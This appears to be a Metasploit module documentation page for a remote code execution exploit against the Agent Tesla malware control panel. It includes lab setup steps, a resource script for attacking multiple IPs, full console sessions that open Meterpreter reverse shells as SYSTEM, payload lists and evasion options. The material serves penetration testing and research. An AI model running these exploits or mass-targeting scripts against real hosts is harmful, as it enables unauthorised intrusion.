Agent Tesla Panel Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/agent_tesla_panel_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
- Module Overview
- Knowledge Base
- Vulnerable Application
- Description
- Setup
- Using Windows
- Install WAMP Server 3.2.0 on Windows 10 x64
- Installing Ioncube
- Windows
- Verification Steps
- Options
- Targets
- Scenarios
- WebPanel1.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 5.6.40, Apache 2.4.41, MariaDB 10.4.10
- WebPanel2.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 7.3.12, Apache 2.4.41, MariaDB 10.4.10
- WebPanel3.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 7.3.12, Apache 2.4.41, MariaDB 10.4.10
- Msfconsole Usage
- Error Messages
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: Agent Tesla Panel Remote Code Execution
Module: exploit/multi/http/agent_tesla_panel_rce
Source code: modules/exploits/multi/http/agent_tesla_panel_rce.rb
Disclosure date: 2019-08-14
Last modification time: 2021-02-24 20:24:57 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits a command injection vulnerability within the Agent Tesla control panel, in combination with an SQL injection vulnerability and a PHP object injection vulnerability, to gain remote code execution on affected hosts. Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to gain remote code execution as user running the web server. Agent Tesla panels released on or after this date can still be exploited however, provided that attackers have valid credentials for the Agent Tesla control panel. Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack. Support for Linux may be added in a future update, but could not be confirmed during testing.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Using agent_tesla_panel_rce against a single host
Normally, you can use exploit/multi/http/agent_tesla_panel_rce this way:
msf > use exploit/multi/http/agent_tesla_panel_rce
msf exploit(agent_tesla_panel_rce) > show targets
... a list of targets ...
msf exploit(agent_tesla_panel_rce) > set TARGET target-id
msf exploit(agent_tesla_panel_rce) > show options
... show and set options ...
msf exploit(agent_tesla_panel_rce) > exploit
Using agent_tesla_panel_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your agent_tesla_panel_rce will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/agent_tesla_panel_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This module exploits a command injection vulnerability within the control center of Agent Tesla. Attackers can turn this
vulnerability into an RCE that can be obtained by exploiting two vulnerabilities (SQLi + PHP Object Injection) that occur within the
WebPanel/server_side/scripts/server_processing.php
file. On versions prior to September 12th 2018, attackers can exploit this
vulnerability to gain unauthenticated RCE as the user running the web server. Versions released on or after September 12th 2018
have the following fix that was introduced which means that attackers will require valid credentials in order to
exploit this vulnerability:
session_start();
if (!isset($_SESSION['logged_in'])
|| $_SESSION['logged_in'] !== true) {
header('Location: login.php');
exit;
}
NOTE:
Using CyberCrime Tracker, it was possible to locate several Agent Tesla web panels
available for download. As there are no version numbers displayed in the Agent Tesla control center, it was hard to identify
exactly which releases were available for download. However it was possible to determine roughly when various
editions of Agent Tesla were released by using the timestamps on the files contained in the zip
archives. From this
information, it was determined that CyberCrime Tracker had the following unique versions
available for download:
WebPanel1.7z
* Released in 2017
* Unauthenticated RCE
* Source code protected by ioncube
.
* Tested on Windows 7 x64 with WAMP server 3.2.0 x64 and PHP version 5.6.40.
WebPanel2.7z
* Released in 2018
* Authenticated RCE
* Source code protected by ioncube
.
* Tested on Windows 7 x64 with WAMP server 3.2.0 x64 and PHP version 7.2.18.
WebPanel3.7z
* Released in 2019
* Authenticated RCE
* Plain text source code, ioncube
is not needed.
* Tested on Windows 7 x64 WAMP server 3.2.0 x64 and PHP version 5.6.40.
Setup
Using Windows
Install WAMP Server 3.2.0 on Windows 10 x64
- Download the latest version of WAMP Server and install it using the default settings.
- Search for
Wamp
within the search bar and click on the result titledWampserver64
, or runC:\\wamp64\\wampmanager.exe
. - Wait for the application to start, and then right click on the purple/green W within the
tray and check
Wamp Settings > Allow VirtualHost local IP's others than 127.*
. - Open
c:/wamp64/bin/apache/apache2.4.41/conf/extra/httpd-vhosts.conf
and replace the lineRequire local
withRequire all granted
. - Select PHP version 5.6.40 by selecting
PHP > Version > 5.6.40
(left click on started application icon) and wait for the icon to go from brown to green again. - Browse to
http://127.0.0.1/phpmyadmin/
and log in with the usernameroot
and a blank password. - On the page
http://127.0.0.1/phpmyadmin/index.php
, find the list of databases on the left hand side of the page and click theNew
button above it. - Under the
Create database
section, set the database name totesla
and set the text type toutf8_general_ci
. Then click theCreate
button. - Confirm the database was created, and afterwards log out of
PHPMyAdmin
. - Unzip one of the 7zip files. You should see a folder called
WebPanel
that is contained within. Copy this folder toC:\wamp64\www
. - Delete the file at
C:\wamp\www\WebPanel\config.php
if it exists. - OPTIONAL: If using WebPanel2.7z
or WebPanel1.7z, follow the directions
to install
IonCube
in the Installing Ioncube section. - Browse to
http://127.0.0.1/WebPanel/logout.php
to ensure you are properly logged out and then browse tohttp://127.0.0.1/WebPanel/setup.php
. - Set the
Database Host
field to127.0.0.1
, theMySql Username
field toroot
, leave theMySql Password
field, set theDatabase Name
field totesla
and set theUsername
andPassword
fields underLogin Informations
section to the username and password you would like to log into the web panel as. - Browse to
http://127.0.0.1/WebPanel/login.php
and confirm you can log into the web panel and view the main web panel itself. You should see a header titledDashboard
followed by some sections labeledComputers
,Keystrokes
,Passwords
andScreenshots
if the login succeeded.
Installing Ioncube
Windows
Follow Install WAMP Server 3.2.0 on Windows 10 x64 steps.
- Download ioncube loader wizard.
- Make sure you have the proper version of PHP selected within
Wamp
for the WebPanel you want install before usingioncube loader wizard
.
- For WebPanel1.7z you need PHP 5.6.40.
- For WebPanel2.7z you can use PHP 7.2.18 or PHP 7.3.12.
- Uncompress the contents of
loader-wizard.zip
intoC:\Wamp64\www\loader-wizard
. - Browse to http://localhost/loader-wizard/ioncube/loader-wizard.php.
- Select
Local install
- Follow the installation instructions.
- Right click on the WAMP tray icon and click
Refresh
. - Browse to
http://127.0.0.1/loader-wizard/ioncube/loader-wizard.php?timeout=0&ini=0&page=loader_check
and verify that ionCube Loader was installed successfully.
Verification Steps
Options
PASSWORD
The Agent Tesla CnC password to authenticate with (needed for authenticated RCE exploitation).
TARGETURI
The base URI path of control center. Default: '/WebPanel'
USERNAME
The Agent Tesla CnC username to authenticate with (needed for authenticated RCE exploitation).
Targets
Id Name
-- ----
0 Automatic (Dropper)
1 Unix (In-Memory)
2 Windows (In-Memory)
Scenarios
WebPanel1.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 5.6.40, Apache 2.4.41, MariaDB 10.4.10
msf5 > use exploit/multi/http/agent_tesla_panel_rce
msf5 exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5
LHOST => 169.254.115.5
msf5 exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16
RHOSTS => 169.254.162.16
msf5 exploit(multi/http/agent_tesla_panel_rce) > show options
Module options (exploit/multi/http/agent_tesla_panel_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The Agent Tesla CnC password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 169.254.162.16 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /WebPanel/ yes The URI where the Agent Tesla CnC panel is located on the target
USERNAME no The Agent Tesla CnC username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 169.254.115.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP-Dropper)
msf5 exploit(multi/http/agent_tesla_panel_rce) > set LPORT 6633
LPORT => 6633
msf5 exploit(multi/http/agent_tesla_panel_rce) > check
[+] 169.254.162.16:80 - The target is vulnerable.
msf5 exploit(multi/http/agent_tesla_panel_rce) > exploit
[*] Started reverse TCP handler on 169.254.115.5:6633
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Targeted operating system is: windows
[*] Sending php/meterpreter/reverse_tcp command payload
[*] Payload uploaded as: .rzzg.php to C:\wamp64\www\\WebPanel\\server_side\scripts\.rzzg.php
[*] Sending stage (38288 bytes) to 169.254.162.16
[*] Meterpreter session 1 opened (169.254.115.5:6633 -> 169.254.162.16:51956) at 2020-06-16 16:01:57 -0500
[+] Deleted C:\wamp64\www\\WebPanel\\server_side\scripts\.rzzg.php
meterpreter > getuid
Server username: SYSTEM (0)
meterpreter > sysinfo
Computer : DESKTOP-EMAVUN1
OS : Windows NT DESKTOP-EMAVUN1 10.0 build 18363 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter > ls
Listing: C:\wamp64\www\WebPanel\server_side\scripts
===================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 2244 fil 2016-09-21 18:10:39 -0500 ids-arrays.php
100666/rw-rw-rw- 2235 fil 2016-09-21 18:10:39 -0500 ids-objects.php
100666/rw-rw-rw- 2069 fil 2016-09-21 18:10:39 -0500 jsonp.php
100666/rw-rw-rw- 7959 fil 2016-09-21 18:10:40 -0500 mysql.sql
100666/rw-rw-rw- 1453 fil 2016-09-21 18:10:40 -0500 objects.php
100666/rw-rw-rw- 1957 fil 2016-09-21 18:10:40 -0500 post.php
100666/rw-rw-rw- 7921 fil 2016-09-21 18:10:40 -0500 postgres.sql
100666/rw-rw-rw- 1500 fil 2017-08-14 16:48:16 -0500 server_processing.php
100666/rw-rw-rw- 7857 fil 2016-09-21 18:10:40 -0500 sqlite.sql
100666/rw-rw-rw- 8021 fil 2016-09-21 18:10:40 -0500 sqlserver.sql
100666/rw-rw-rw- 14438 fil 2016-09-30 04:53:10 -0500 ssp.class.php
meterpreter >
WebPanel2.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 7.3.12, Apache 2.4.41, MariaDB 10.4.10
msf5 > use exploit/multi/http/agent_tesla_panel_rce
msf5 exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5
LHOST => 169.254.115.5
msf5 exploit(multi/http/agent_tesla_panel_rce) > set USERNAME test
USERNAME => test
msf5 exploit(multi/http/agent_tesla_panel_rce) > set PASSWORD test
PASSWORD => test
msf5 exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16
RHOSTS => 169.254.162.16
msf5 exploit(multi/http/agent_tesla_panel_rce) > show options
Module options (exploit/multi/http/agent_tesla_panel_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD test no The Agent Tesla CnC password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 169.254.162.16 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /WebPanel/ yes The URI where the Agent Tesla CnC panel is located on the target
USERNAME test no The Agent Tesla CnC username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 169.254.115.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP-Dropper)
msf5 exploit(multi/http/agent_tesla_panel_rce) > exploit
[*] Started reverse TCP handler on 169.254.115.5:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Targeted operating system is: windows
[*] Sending php/meterpreter/reverse_tcp command payload
[*] Payload uploaded as: .UKtE.php to C:\wamp64\www\\WebPanel\\server_side\scripts\.UKtE.php
[*] Sending stage (38288 bytes) to 169.254.162.16
[*] Meterpreter session 1 opened (169.254.115.5:4444 -> 169.254.162.16:51698) at 2020-06-16 14:55:19 -0500
[+] Deleted C:\wamp64\www\\WebPanel\\server_side\scripts\.UKtE.php
meterpreter > ls
Listing: C:\wamp64\www\WebPanel\server_side\scripts
===================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 2244 fil 2016-09-21 18:10:39 -0500 ids-arrays.php
100666/rw-rw-rw- 2235 fil 2016-09-21 18:10:39 -0500 ids-objects.php
100666/rw-rw-rw- 2069 fil 2016-09-21 18:10:39 -0500 jsonp.php
100666/rw-rw-rw- 7959 fil 2016-09-21 18:10:40 -0500 mysql.sql
100666/rw-rw-rw- 1453 fil 2016-09-21 18:10:40 -0500 objects.php
100666/rw-rw-rw- 1957 fil 2016-09-21 18:10:40 -0500 post.php
100666/rw-rw-rw- 7921 fil 2016-09-21 18:10:40 -0500 postgres.sql
100666/rw-rw-rw- 1642 fil 2018-09-11 17:31:16 -0500 server_processing.php
100666/rw-rw-rw- 7857 fil 2016-09-21 18:10:40 -0500 sqlite.sql
100666/rw-rw-rw- 8021 fil 2016-09-21 18:10:40 -0500 sqlserver.sql
100666/rw-rw-rw- 14438 fil 2016-09-30 04:53:10 -0500 ssp.class.php
meterpreter > sysinfo
Computer : DESKTOP-EMAVUN1
OS : Windows NT DESKTOP-EMAVUN1 10.0 build 18363 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter > getuid
Server username: SYSTEM (0)
meterpreter >
WebPanel3.7z on Windows 10 x64 19H2 with WAMP 3.2.2.2 x64, PHP 7.3.12, Apache 2.4.41, MariaDB 10.4.10
msf5 > use exploit/multi/http/agent_tesla_panel_rce
msf5 exploit(multi/http/agent_tesla_panel_rce) > show options
Module options (exploit/multi/http/agent_tesla_panel_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The Agent Tesla CnC password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /WebPanel/ yes The URI where the Agent Tesla CnC panel is located on the target
USERNAME no The Agent Tesla CnC username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP-Dropper)
msf5 exploit(multi/http/agent_tesla_panel_rce) > set RHOSTS 169.254.162.16
RHOSTS => 169.254.162.16
msf5 exploit(multi/http/agent_tesla_panel_rce) > set LHOST 169.254.115.5
LHOST => 169.254.115.5
msf5 exploit(multi/http/agent_tesla_panel_rce) > set LPORT 5566
LPORT => 5566
msf5 exploit(multi/http/agent_tesla_panel_rce) > set USERNAME test
USERNAME => test
msf5 exploit(multi/http/agent_tesla_panel_rce) > set PASSWORD test
PASSWORD => test
msf5 exploit(multi/http/agent_tesla_panel_rce) > exploit
[*] Started reverse TCP handler on 169.254.115.5:5566
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Targeted operating system is: windows
[*] Sending php/meterpreter/reverse_tcp command payload
[*] Payload uploaded as: .RVfu.php to C:\wamp64\www\\WebPanel\\server_side\scripts\.RVfu.php
[*] Sending stage (38288 bytes) to 169.254.162.16
[*] Meterpreter session 1 opened (169.254.115.5:5566 -> 169.254.162.16:51840) at 2020-06-16 15:14:12 -0500
[+] Deleted C:\wamp64\www\\WebPanel\\server_side\scripts\.RVfu.php
meterpreter > getuid
Server username: SYSTEM (0)
meterpreter > sysinfo
Computer : DESKTOP-EMAVUN1
OS : Windows NT DESKTOP-EMAVUN1 10.0 build 18363 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter > ls
Listing: C:\wamp64\www\WebPanel\server_side\scripts
===================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 2244 fil 2016-09-21 15:10:40 -0500 ids-arrays.php
100666/rw-rw-rw- 2235 fil 2016-09-21 15:10:40 -0500 ids-objects.php
100666/rw-rw-rw- 2069 fil 2016-09-21 15:10:40 -0500 jsonp.php
100666/rw-rw-rw- 1453 fil 2016-09-21 15:10:40 -0500 objects.php
100666/rw-rw-rw- 1957 fil 2016-09-21 15:10:40 -0500 post.php
100666/rw-rw-rw- 1642 fil 2018-09-11 14:31:18 -0500 server_processing.php
100666/rw-rw-rw- 14438 fil 2016-09-30 01:53:10 -0500 ssp.class.php
meterpreter > cd "C:\\Windows\\"
meterpreter > pwd
C:\Windows
meterpreter > upload README.md
[*] uploading : README.md -> README.md
[*] Uploaded -1.00 B of 2.67 KiB (-0.04%): README.md -> README.md
[*] uploaded : README.md -> README.md
meterpreter > ls
Listing: C:\Windows
===================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
...
100666/rw-rw-rw- 34925 fil 2019-03-18 23:46:33 -0500 Professional.xml
40777/rwxrwxrwx 0 dir 2020-04-10 12:14:25 -0500 Provisioning
100666/rw-rw-rw- 2734 fil 2020-06-16 15:14:53 -0500 README.md
...
meterpreter > ls README.md
100666/rw-rw-rw- 2734 fil 2020-06-16 15:14:53 -0500 README.md
Go back to menu.
Msfconsole Usage
Here is how the multi/http/agent_tesla_panel_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/agent_tesla_panel_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/agent_tesla_panel_rce) > show info
Name: Agent Tesla Panel Remote Code Execution
Module: exploit/multi/http/agent_tesla_panel_rce
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-08-14
Provided by:
Ege Balc�� <[email protected]>
mekhalleh (RAMELLA S��bastien)
gwillcox-r7
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic (PHP-Dropper)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The Agent Tesla CnC password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /WebPanel/ yes The URI where the Agent Tesla CnC panel is located on the target
USERNAME no The Agent Tesla CnC username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a command injection vulnerability within the
Agent Tesla control panel, in combination with an SQL injection
vulnerability and a PHP object injection vulnerability, to gain
remote code execution on affected hosts. Panel versions released
prior to Sepetember 12, 2018 can be exploited by unauthenticated
attackers to gain remote code execution as user running the web
server. Agent Tesla panels released on or after this date can still
be exploited however, provided that attackers have valid credentials
for the Agent Tesla control panel. Note that this module presently
only fully supports Windows hosts running Agent Tesla on the WAMP
stack. Support for Linux may be added in a future update, but could
not be confirmed during testing.
References:
https://www.exploit-db.com/exploits/47256
https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources
https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)
https://krebsonsecurity.com/2018/10/who-is-agent-tesla/
Module Options
This is a complete list of options available in the multi/http/agent_tesla_panel_rce exploit:
msf6 exploit(multi/http/agent_tesla_panel_rce) > show options
Module options (exploit/multi/http/agent_tesla_panel_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The Agent Tesla CnC password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /WebPanel/ yes The URI where the Agent Tesla CnC panel is located on the target
USERNAME no The Agent Tesla CnC username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP-Dropper)
Advanced Options
Here is a complete list of advanced options supported by the multi/http/agent_tesla_panel_rce exploit:
msf6 exploit(multi/http/agent_tesla_panel_rce) > show advanced
Module advanced options (exploit/multi/http/agent_tesla_panel_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/agent_tesla_panel_rce module can exploit:
msf6 exploit(multi/http/agent_tesla_panel_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic (PHP-Dropper)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/agent_tesla_panel_rce exploit:
msf6 exploit(multi/http/agent_tesla_panel_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/agent_tesla_panel_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/agent_tesla_panel_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
